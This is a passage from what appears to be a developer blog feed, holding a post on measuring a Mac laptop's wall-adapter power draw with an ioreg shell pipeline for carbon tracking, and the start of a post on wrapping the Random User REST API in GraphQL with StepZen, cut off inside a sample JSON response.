&lt;p>During a recent impact-focused hackathon at &lt;a href="https://snyk.io">work&lt;/a> (&lt;a href="https://snyk.io/careers/">come work with me!&lt;/a>), I found myself working on an interesting sustainability project. Our team&amp;rsquo;s idea was simple: because almost all Snyk employees work remotely using a Mac laptop, could we measure the energy consumption of every employee&amp;rsquo;s Mac laptop to better understand how much energy it takes to power employee devices, as well as the amount of carbon work devices produce?&lt;/p>
&lt;p>Because we know (on average) &lt;a href="https://www.eia.gov/tools/faqs/faq.php?id=74&amp;amp;t=11">how much carbon&lt;/a> it takes to produce a single kilowatt-hour (kWh) of electricity in the US (0.85 pounds of CO2 emissions per kWh), if we could figure out how many kWh of electricity were being used by employee devices, we&amp;rsquo;d be able to do some simple math and figure out two things:&lt;/p>
&lt;ol>
&lt;li>How much energy is required to power employee devices&lt;/li>
&lt;li>How much carbon is being put into the atmosphere by employee devices&lt;/li>
&lt;/ol>
&lt;p>Using this data, we could then donate money to a &lt;a href="https://www.investopedia.com/best-carbon-offset-programs-5114611">carbon offsetting service&lt;/a> to &amp;ldquo;neutralize&amp;rdquo; the impact of our employee&amp;rsquo;s work devices.&lt;/p>
&lt;p>&lt;strong>PROBLEM&lt;/strong>: Now, would this be a perfectly accurate way of measuring the true carbon impact of employees? Absolutely not &amp;ndash; there are obviously many things we cannot easily measure (such as the amount of energy of attached devices, work travel, food consumption, etc.), but the idea of being able to quantify the carbon impact of work laptops was still interesting enough that we decided to pursue it regardless.&lt;/p>
&lt;h2 id="potential-energy-tracking-solutions">Potential Energy Tracking Solutions&lt;/h2>
&lt;p>The first idea we had was to use smart energy monitoring plugs that employees could plug their work devices into while charging. These plugs could then store a tally of how much energy work devices consume, and we could aggregate that somewhere to get a total amount of energy usage.&lt;/p>
&lt;p>I happen to have several of the &lt;a href="https://www.evehome.com/en/eve-energy">Eve Energy&lt;/a> smart plugs around my house (which I highly recommend if you use Apple&amp;rsquo;s HomeKit) that I&amp;rsquo;ve been using to track my personal energy usage for a while now.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2022/how-to-calculate-the-energy-consumption-of-a-mac/eve-energy-screenshot.png" alt="Eve Energy Screenshot" title="Eve Energy Screenshot">
&lt;/p>
&lt;p>While these devices are incredible (they work well, come with a beautiful app, etc.), unfortunately, they don&amp;rsquo;t have any sort of publicly accessible API you can use to extract energy consumption data.&lt;/p>
&lt;p>We also looked into various other types of smart home energy monitoring plugs, including the &lt;a href="https://amzn.to/341CXQt">Kasa Smart Plug Mini&lt;/a>, which does happen to have &lt;a href="https://github.com/python-kasa/python-kasa">an API&lt;/a>.&lt;/p>
&lt;p>Unfortunately, however, because Snyk is a global company with employees all over the world, hardware solutions were looking less and less appealing as to do what we wanted, we&amp;rsquo;d need to:&lt;/p>
&lt;ul>
&lt;li>Ship country-specific devices to each new and existing employee&lt;/li>
&lt;li>Include setup instructions for employees (how to configure the plugs, how to hook them up to a home network, etc.)&lt;/li>
&lt;li>Instruct employees to always plug their work devices into these smart plugs, which many people may forget to do&lt;/li>
&lt;/ul>
&lt;h2 id="is-it-possible-to-track-mac-energy-consumption-using-software">Is It Possible to Track Mac Energy Consumption Using Software?&lt;/h2>
&lt;p>When &lt;a href="https://www.linkedin.com/in/seanmclarke/">someone on the team&lt;/a> proposed using software to track energy consumption, I thought it&amp;rsquo;d be a simple task. I assumed there were various existing tools we could easily leverage to grab energy consumption data. But boy, oh boy, I was wrong!&lt;/p>
&lt;p>As it turns out, it&amp;rsquo;s quite complicated to figure out how many watt-hours of electricity your Mac laptop is using. To the best of my knowledge, there are no off-the-shelf applications that do this.&lt;/p>
&lt;p>Through my research, however, I stumbled across a couple potential solutions.&lt;/p>
&lt;h3 id="using-battery-metrics-to-calculate-energy-consumption">Using Battery Metrics to Calculate Energy Consumption&lt;/h3>
&lt;p>The first idea I had was to figure out the size of the laptop&amp;rsquo;s battery (in milliamp-hours (mAh)), as well as how many complete discharge cycles the battery has been through (how many times has the battery been fully charged and discharged).&lt;/p>
&lt;p>This information would theoretically allow us to determine how much energy a Mac laptop has ever consumed by multiplying the size of the battery in mAh by the number of battery cycles. We could then simply convert the number of mAh -&amp;gt; kWh using a simple formula.&lt;/p>
&lt;p>After a lot of Google-fu and command-line scripting, I was able to get this information using the &lt;a href="https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/TheRegistry/TheRegistry.html">ioreg command-line tool&lt;/a>, but in the process, I realized that there was a critical problem with this approach.&lt;/p>
&lt;p>The problem is that while the variables I mentioned above will allow you to calculate the energy consumption of your laptop over time, when your laptop is fully charged &lt;em>and&lt;/em> plugged into a wall outlet it isn&amp;rsquo;t drawing down energy from the battery &amp;ndash; it&amp;rsquo;s using the electricity directly from your wall.&lt;/p>
&lt;p>This means that the measuring approach above will only work if you &lt;em>never&lt;/em> use your laptop while it is plugged into wall chargers &amp;ndash; you&amp;rsquo;d essentially need to keep your laptop shut down while charging and only have it turned on while on battery power. Obviously, this is not very realistic.&lt;/p>
&lt;h3 id="using-wall-adapter-information-to-calculate-energy-consumption">Using Wall Adapter Information to Calculate Energy Consumption&lt;/h3>
&lt;p>After the disappointing battery research, I decided to take a different approach. What if there was a way to extract how much energy your laptop was pulling from a wall adapter?&lt;/p>
&lt;p>If we were able to figure out how many watts of electricity, for example, your laptop was currently drawing from a wall adapter, we could track this information over time to determine the amount of watt-hours of electricity being consumed. We could then easily convert this number to kWh or any other desired measure.&lt;/p>
&lt;p>And… After a lot of sifting through &lt;code>ioreg&lt;/code> output and some help from &lt;a href="https://www.linkedin.com/in/jdegges/">my little brother&lt;/a> (an engineer who helps build &lt;a href="https://www.span.io">smart home electric panels&lt;/a>), I was able to successfully extract the amount of watts being pulled from a plugged-in wall adapter! Woo!&lt;/p>
&lt;h2 id="the-final-solution-how-to-calculate-the-energy-consumption-of-your-mac-using-software">The Final Solution: How to Calculate the Energy Consumption of Your Mac Using Software&lt;/h2>
&lt;p>After many hours of research and playing around, what I ended up building was a small shell script that parses through &lt;code>ioreg&lt;/code> command-line output and extracts the amount of watts being pulled from a plugged-in wall adapter.&lt;/p>
&lt;p>This shell script runs on a cron job once a minute, logging energy consumption information to a file. This file can then be analyzed to compute the amount of energy consumed by a Mac device over a given time period.&lt;/p>
&lt;p>I&amp;rsquo;ve packaged this solution up into a small GitHub project you can check out &lt;a href="https://github.com/rdegges/energy-tracker">here&lt;/a>.&lt;/p>
&lt;p>The command I&amp;rsquo;m using to grab the wattage information is the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">/usr/sbin/ioreg -rw0 -c AppleSmartBattery | grep BatteryData | grep -o &amp;#39;&amp;#34;AdapterPower&amp;#34;=[0-9]*&amp;#39; | cut -c 16- | xargs -I % lldb --batch -o &amp;#34;print/f %&amp;#34; | grep -o &amp;#39;$0 = [0-9.]*&amp;#39; | cut -c 6-
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here it is broken down with a brief description of what these commands are doing:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">/usr/sbin/ioreg -rw0 -c AppleSmartBattery | \ # retrieve power data
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> grep BatteryData | \ # filter it down to battery stats
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> grep -o &amp;#39;&amp;#34;AdapterPower&amp;#34;=[0-9]*&amp;#39; | \ # extract adapter power info
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> cut -c 16- | \ # extract power info number
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> xargs -I % lldb --batch -o &amp;#34;print/f %&amp;#34; | \ # convert power info into an IEEE 754 float
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> grep -o &amp;#39;$0 = [0-9.]*&amp;#39; | \ # extract only the numbers
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> cut -c 6- # remove the formatting
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The output of this command is a number which is the amount of watts currently being consumed by your laptop (I verified this by confirming it with hardware energy monitors). In order to turn this value into a usable energy consumption metric, you have to sample it over time. After thinking this through, here was the logging format I came up with to make tracking energy consumption simple:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">timestamp=YYYY-MM-DDTHH:MM:SSZ wattage=&amp;lt;num&amp;gt; wattHours=&amp;lt;num&amp;gt; uuid=&amp;lt;string&amp;gt; 
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This format allows you to see:&lt;/p>
&lt;ul>
&lt;li>The timestamp of the log&lt;/li>
&lt;li>The amount of watts being drawn from the wall at the time of measurement (wattage)&lt;/li>
&lt;li>The number of watt hours consumed at the time of measurement (wattHours), assuming this measurement is taken once a minute, and&lt;/li>
&lt;li>The unique Mac UUID for this device. This is logged to help with deduplication and other statistics in my case.&lt;/li>
&lt;/ul>
&lt;p>Here&amp;rsquo;s an example of what some real-world log entries look like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">timestamp=2022-01-30T23:41:00Z wattage=8.37764739 wattHours=.13962745650000000000 uuid=EDD819A5-1409-5797-9BE4-22EAAC75D999
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">timestamp=2022-01-30T23:42:01Z wattage=8.7869072 wattHours=.14644845333333333333 uuid=EDD819A5-1409-5797-9BE4-22EAAC75D999
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">timestamp=2022-01-30T23:43:00Z wattage=9.16559505 wattHours=.15275991750000000000 uuid=EDD819A5-1409-5797-9BE4-22EAAC75D999
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">timestamp=2022-01-30T23:44:00Z wattage=8.49206352 wattHours=.14153439200000000000 uuid=EDD819A5-1409-5797-9BE4-22EAAC75D999
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">timestamp=2022-01-30T23:45:00Z wattage=7.45262718 wattHours=.12421045300000000000 uuid=EDD819A5-1409-5797-9BE4-22EAAC75D999
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To sum up the amount of energy consumption over time, you can then parse this log file and sum up the &lt;code>wattHours&lt;/code> column over a given time period. Also, please note that the script I wrote will NOT log energy consumption data to the file if there is no energy being consumed (aka, your laptop is not plugged into a wall adapter).&lt;/p>
&lt;p>&lt;strong>PROBLEMS&lt;/strong>: While this is the final solution we ended up going with, it still has one fatal flaw: this approach only works if the script is ran once a minute. This means that if your laptop is shut down or sleeping and this code is not running, there will be no way to log energy consumption data.&lt;/p>
&lt;h2 id="what-i-learned-about-tracking-energy-consumption-on-macs">What I Learned About Tracking Energy Consumption on Macs&lt;/h2>
&lt;p>While building our short sustainability-focused hackathon project, I learned a lot about tracking energy consumption on Macs.&lt;/p>
&lt;ol>
&lt;li>Your laptop doesn&amp;rsquo;t always use its battery as a power source, so tracking battery metrics is not an ideal solution&lt;/li>
&lt;li>It&amp;rsquo;s possible to track energy consumption by measuring the draw from wall adapters, although this approach isn&amp;rsquo;t perfect as it requires your computer to be on and running code on a regular interval&lt;/li>
&lt;li>While using hardware energy trackers isn&amp;rsquo;t convenient in our case, this is certainly the simplest (and probably the best) option for personal energy tracking&lt;/li>
&lt;/ol>
&lt;p>If you&amp;rsquo;d like to see the software-based energy tracking solution I built, please &lt;a href="https://github.com/rdegges/energy-tracker">check it out on GitHub&lt;/a>.&lt;/p>
&lt;p>I&amp;rsquo;m currently in the process of following up with Snyk&amp;rsquo;s IT department to see if this is something we could one day roll out automatically to employee devices. I still think it would be incredibly interesting to see a central dashboard of how much energy Snyk employees are using to &amp;ldquo;power&amp;rdquo; their work, and what that amount of carbon looks like.&lt;/p>
&lt;p>&lt;strong>PS&lt;/strong>: The creation of this blog post took precisely &lt;code>19.972951810666647&lt;/code> watt-hours of electricity and generated &lt;code>.016977009039067&lt;/code> pounds of CO2.&lt;/p></description></item><item><title>How I Converted a REST API I Don't Control to GraphQL</title><link>https://rdegges.com/2021/how-i-converted-a-rest-api-to-graphql/</link><pubDate>Sun, 03 Oct 2021 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2021/how-i-converted-a-rest-api-to-graphql/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2021/how-i-converted-a-rest-api-to-graphql/rest-to-graphql.gif" alt="REST API to GraphQL" title="REST API to GraphQL GIF">
&lt;/p>
&lt;p>I&amp;rsquo;ve been building and working with REST APIs for many years now. Recently, however, I&amp;rsquo;ve been spending more and more of my time working with (and building) GraphQL-based APIs.&lt;/p>
&lt;p>While GraphQL has generally made my life easier, especially as I&amp;rsquo;ve been building and consuming more data-heavy APIs, there is still one &lt;em>extremely&lt;/em> annoying problem I&amp;rsquo;ve run into over and over again: lack of GraphQL support for third-party APIs I need to consume.&lt;/p>
&lt;p>If I&amp;rsquo;m trying to use a third-party API service that &lt;em>doesn&amp;rsquo;t&lt;/em> have a GraphQL endpoint, I either need to:&lt;/p>
&lt;ol>
&lt;li>Download, install, configure, and learn how to use their custom REST API clients (which takes a lot of time and means my codebase is now a bit cluttered), or&lt;/li>
&lt;li>Build my own GraphQL proxy for their service… But this is a big task. I&amp;rsquo;ve got to read through all their REST API docs and carefully define GraphQL schemas for everything, learning all the ins and outs of their API as I go.&lt;/li>
&lt;/ol>
&lt;p>In short: it&amp;rsquo;s a lot of work either way, but if I really want to use GraphQL everywhere I have to work for it.&lt;/p>
&lt;p>In an ideal world, every API service would have a GraphQL endpoint, this way I could just use a single GraphQL library to query all the API services I need to talk to.&lt;/p>
&lt;p>Luckily, one of my favorite developer tools, &lt;a href="https://stepzen.com/" title="StepZen">StepZen&lt;/a> (disclaimer: I advise them), has made this problem a lot less painful.&lt;/p>
&lt;h2 id="what-stepzen-does">What StepZen Does&lt;/h2>
&lt;p>StepZen is a platform that lets you host a GraphQL endpoint to use in your applications. But, more importantly, they&amp;rsquo;ve designed a schema system that lets you import (or build your own) GraphQL wrappers for just about anything: REST APIs, databases, etc. It&amp;rsquo;s really neat!&lt;/p>
&lt;p>Using the StepZen CLI, for example, I can create a new GraphQL endpoint that allows me to talk with the &lt;a href="https://www.airtable.com/" title="Airtable">Airtable&lt;/a> and &lt;a href="https://www.fedex.com/en-us/home.html" title="FedEx">FedEx&lt;/a> APIs, neither of which support GraphQL natively. The beautiful thing is, I don&amp;rsquo;t even need to write a GraphQL wrapper for this myself since someone else already did!&lt;/p>
&lt;p>Here&amp;rsquo;s what this looks like (assuming you&amp;rsquo;ve already got the &lt;a href="https://stepzen.com/docs/cli" title="StepZen CLI">StepZen CLI&lt;/a> installed and initialized):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> stepzen import airtable
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> stepzen import fedex
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> stepzen start
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Using the &lt;code>import&lt;/code> command, StepZen will download the publicly available GraphQL schemas for these services (Airtable and FedEx) to your local directory. The &lt;code>start&lt;/code> command then launches a GraphQL explorer on localhost, port 5000, which you can use to interactively query the Airtable and FexEx APIs using GraphQL! Pretty neat!&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2021/how-i-converted-a-rest-api-to-graphql/stepzen-query-dashboard.png" alt="StepZen Query Dashboard" title="StepZen Query Dashboard">
&lt;/p>
&lt;h2 id="how-to-access-public-graphql-schemas">How to Access Public GraphQL Schemas&lt;/h2>
&lt;p>So, let&amp;rsquo;s say you want to use GraphQL to query an API service that doesn&amp;rsquo;t support GraphQL. If you&amp;rsquo;re using StepZen, you can find all the publicly available (official) schemas on the &lt;a href="https://github.com/steprz/stepzen-schemas" title="StepZen Schemas on GitHub">StepZen Schemas repo&lt;/a> on GitHub. This repo is namespaced, so if you see a folder in the project, you can use the &lt;code>stepzen import&lt;/code> command on it directly. At the time of writing, there are 24 publicly available GraphQL schemas you can instantly use.&lt;/p>
&lt;p>StepZen currently has support for lots of popular developer services: &lt;a href="https://disqus.com/api/docs/" title="Disqus API">Disqus&lt;/a>, &lt;a href="https://docs.github.com/en/rest" title="GitHub API">GitHub&lt;/a>, &lt;a href="https://shopify.dev/api/admin/rest/reference" title="Shopify API">Shopify&lt;/a>, etc.&lt;/p>
&lt;p>You can, of course, create your own GraphQL schemas as well.&lt;/p>
&lt;h2 id="the-problem-i-ran-into-with-graphql">The Problem I Ran Into with GraphQL&lt;/h2>
&lt;p>Several months ago I was working on a simple user-facing web app. The entire backend of the app was using GraphQL and I was trying to keep the codebase as pure as possible, which meant not using any REST APIs directly.&lt;/p>
&lt;p>In all my years of building web apps, I&amp;rsquo;ve &lt;em>always&lt;/em> used a REST API at some point. So this was a bit of an experiment to see whether or not I could build my app without cluttering my codebase with REST API clients or requests.&lt;/p>
&lt;p>As I was working on the app, I went to use one of my favorite free API services, &lt;a href="https://randomuser.me/" title="Random User">Random User&lt;/a>. If you haven&amp;rsquo;t heard of it before, it&amp;rsquo;s a publicly available REST API you can hit to generate realistic-looking fake users. It&amp;rsquo;s incredible for building a development environment, using seed data in an app, or creating real-world-looking MVPs. I use it all the time.&lt;/p>
&lt;p>I knew going into this process that the Random User API didn&amp;rsquo;t have a GraphQL endpoint, so I figured I&amp;rsquo;d spend some time creating one for them.&lt;/p>
&lt;h2 id="how-to-convert-a-rest-api-to-graphql">How to Convert a REST API to GraphQL&lt;/h2>
&lt;p>My goal, as I mentioned above, was to build a GraphQL endpoint for the Random User REST API.&lt;/p>
&lt;p>In order to make this work, what you have to do is translate your REST API so the &lt;a href="https://stepzen.com/" title="StepZen">StepZen service&lt;/a> can understand which endpoints you are hitting and what types of inputs and outputs they require.&lt;/p>
&lt;p>Once you&amp;rsquo;ve defined all this, StepZen will be able to create a GraphQL endpoint for your app. When your app queries the StepZen GraphQL endpoint, StepZen will translate your GraphQL request into the proper REST API call, execute the request, then translate the response and send it back to your app in standard GraphQL format.&lt;/p>
&lt;p>Here&amp;rsquo;s how you can convert any REST API to GraphQL using StepZen, step-by-step.&lt;/p>
&lt;h3 id="step-1-read-through-the-rest-api-docs-and-identify-endpoints-to-convert">Step 1: Read Through the REST API Docs and Identify Endpoints to Convert&lt;/h3>
&lt;p>The first part of converting any REST API to GraphQL is to fully understand what endpoints you want to convert from REST to GraphQL.&lt;/p>
&lt;p>In my case, the Random User API only has a single endpoint, so this isn&amp;rsquo;t complicated. But, let&amp;rsquo;s say you&amp;rsquo;re converting a large, popular API like &lt;a href="https://www.twilio.com/docs/usage/api" title="Twilio API">Twilio&lt;/a> that has many endpoints&amp;hellip; This can be much more difficult.&lt;/p>
&lt;p>To make things simpler, here&amp;rsquo;s what I recommend: when converting a REST API to GraphQL, identify the endpoints you &lt;em>actually need&lt;/em> and ignore the rest. Trying to build an entire abstraction layer for a massive API like Twilio would be difficult, so instead, focus only on the key endpoints you need to use. In the future, if you need to use additional endpoints, you can always add support for them.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: This is especially true if you&amp;rsquo;re using StepZen. It&amp;rsquo;s incredibly easy to support additional endpoints in StepZen once you have a basic schema going, so don&amp;rsquo;t feel bad about focusing on the important ones and ignoring the rest.&lt;/p>
&lt;p>Following this just-in-time pattern will help save you time and get you back to working on the important stuff.&lt;/p>
&lt;h3 id="step-2-understand-the-rest-endpoints-schema">Step 2: Understand the REST Endpoint&amp;rsquo;s Schema&lt;/h3>
&lt;p>Every API endpoint has some sort of schema. For example, the Random User API, when queried, returns a blob of JSON similar to the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;results&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;gender&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;male&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;title&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;mr&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;first&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;brad&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;last&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;gibson&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;location&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;street&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;9278 new road&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;city&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;kilcoole&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;state&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;waterford&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;postcode&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;93027&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;coordinates&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;latitude&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;20.9267&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;longitude&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;-7.9310&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;timezone&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;offset&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;-3:30&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;description&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Newfoundland&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;email&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;brad.gibson@example.com&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;login&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;uuid&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;155e77ee-ba6d-486f-95ce-0e0c0fb4b919&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;username&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;silverswan131&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;password&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;firewall&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;salt&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;TQA1Gz7x&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;md5&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;dc523cb313b63dfe5be2140b0c05b3bc&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;sha1&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;7a4aa07d1bedcc6bcf4b7f8856643492c191540d&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;sha256&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;74364e96174afa7d17ee52dd2c9c7a4651fe1254f471a78bda0190135dcd3480&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;dob&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;date&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;1993-07-20T09:44:18.674Z&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;age&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">26&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;registered&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;date&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;2002-05-21T10:59:49.966Z&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;age&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">17&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
